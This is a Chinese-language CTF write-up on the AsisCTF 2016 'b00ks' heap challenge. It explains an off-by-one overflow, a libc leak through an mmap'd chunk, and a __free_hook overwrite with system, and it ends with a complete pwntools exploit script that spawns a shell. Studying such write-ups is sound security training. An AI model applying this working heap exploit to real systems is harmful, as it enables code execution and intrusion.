AsisCTF-2016-b00ks OFF-BY-ONE
题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks
__free_hook and off by one
有漏洞会多读取一个字节的/x00
author name存放在unk_202040+pie处,32个字节
分析后可以推断出book结构体是如下的,而且在unk_202060+pie处开始存放结构体指针,我们可以进行一个字节的溢出,来控制book1的最低位地址
struct book_struct { int id; void * book_name; void *book_description; int description_size; }
|
泄露book1地址
输入32个字节name再打印就可以泄露
实现可控
我们再次修改another——name会再次把0x2060处覆盖为0,也就是说我们book1的结构体地址往低地址走了,而我们malloc的时候顺序是 book_name–>book_description–>book_struct
所有我们可以通过计算把book1地址变为book_description(具体为申请一个较大的description,有利于我们book1落在上面,通过对bookname控制调整可以准确落在什么),我们的description可以再次修改,我们可以在book1的des伪造一个book结构体,如果说我们把伪造结构体的des改为book2的description地址,我们就可以通过修改1的des为想要读写地址,再通过
book2的des进行修改和读取
读写什么
开启了FULL RELRO,不能改写got表,程序中用到了free和malloc函数,我们可以打free_hook,将free 函数hook为system,description修改为binsh地址,这样我们free(description)就可以拿到shell,要拿到__free_hook地址我们还需要泄露libc的基址,我们可以利用malloc申请大内存,这样malloc就会调用mmap直接映射一块内存给我们,
这块内存和libc的基地址是固定的,我们可以泄露des地址,通过减去固定偏移得到libc基址
create_book(0x21000, “two”, 0x21000, “twodes”)
得到偏移,0x7f3100400000-0x7f31003bc010=0x43FF0
这里偏移还需要把aslr关掉,不关闭会随机化,试了一下libc2.35会随机,2.23不会,远程的话可能要利用bins去泄露动态地址
/proc/sys/kernel/randomize_va_space
- 0 = 关闭
- 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。
- 2 = 全随机。除了1中所述,还有heap。
- ASLR 不负责代码段以及数据段的随机化工作,这项工作由 PIE 负责。但是只有在开启 ASLR 之后,PIE 才会生效。
由于我们第二次申请的内存都过大,都采用vmmap,所以malloc book2时之后第一个book1地址间隔0x30(数据大小0x20+chunk_head(0x10))
伪造book1,payload=p64(1) + p64(book_two_ad + 8)+p64(book_two_ad+16)+ p64(140)
布置好之后,free
本来是要拿到shell的可是2.35libc已经删除hook,可以看到free汇编里已经没有了,检测hook
换上libc2.23的机器重新计算偏移,拿到shell
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./b00ks' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
def create_book(name_size, book_name, desc_size, book_desc): io.recv() io.sendline(b'1') io.sendlineafter(b'Enter book name size: ', str(name_size).encode()) io.sendlineafter(b'Enter book name (Max 32 chars): ', book_name) io.sendlineafter(b'Enter book description size: ', str(desc_size).encode()) io.sendlineafter(b'Enter book description: ', book_desc) def delete_book(book_id): io.recv() io.sendline(b'2') io.sendlineafter(b'Enter the book id you want to delete: ', str(book_id).encode()) def edit_book(book_id, book_desc): io.recv() io.sendline(b'3') io.sendlineafter(b'Enter the book id you want to edit: ', str(book_id).encode()) io.sendlineafter(b'Enter new book description: ', book_desc) def print_book(): io.recvuntil(b'>') io.sendline(b'4') def change_author_name(name): io.recv() io.sendline(b'5') io.sendlineafter(b'Enter author name:', name) def input_author_name(name): io.sendlineafter(b'Enter author name: ', name) input_author_name(b'a'*32) create_book(32+0x20+0x90,'one',140,'onedes') print_book() ru(b'a'*32) book_one_ad=u64(r(6).ljust(8,b'\x00')) p('book_one_ad',book_one_ad) create_book(0x21000, "two", 0x21000, "twodes") book_two_ad=book_one_ad+0x30 payload=p64(1) + p64(book_two_ad + 8)+p64(book_two_ad+16)+ p64(140) edit_book(1,payload) change_author_name(b'b'*32) print_book() ru(b'Description: ') vmmap_ad=u64(r(6).ljust(8,b'\x00')) p('vmmap_ad',vmmap_ad) base=vmmap_ad-0x58F010 p('base',base) system_ad=libc.symbols['system']+base free_hook_ad=libc.symbols['__free_hook']+base bin_ad=next(libc.search(b'/bin/sh'))+base p('bin_ad',bin_ad) edit_book(1,p64(free_hook_ad)) edit_book(2,p64(system_ad)) edit_book(1,p64(bin_ad)) delete_book(2) io.interactive()
|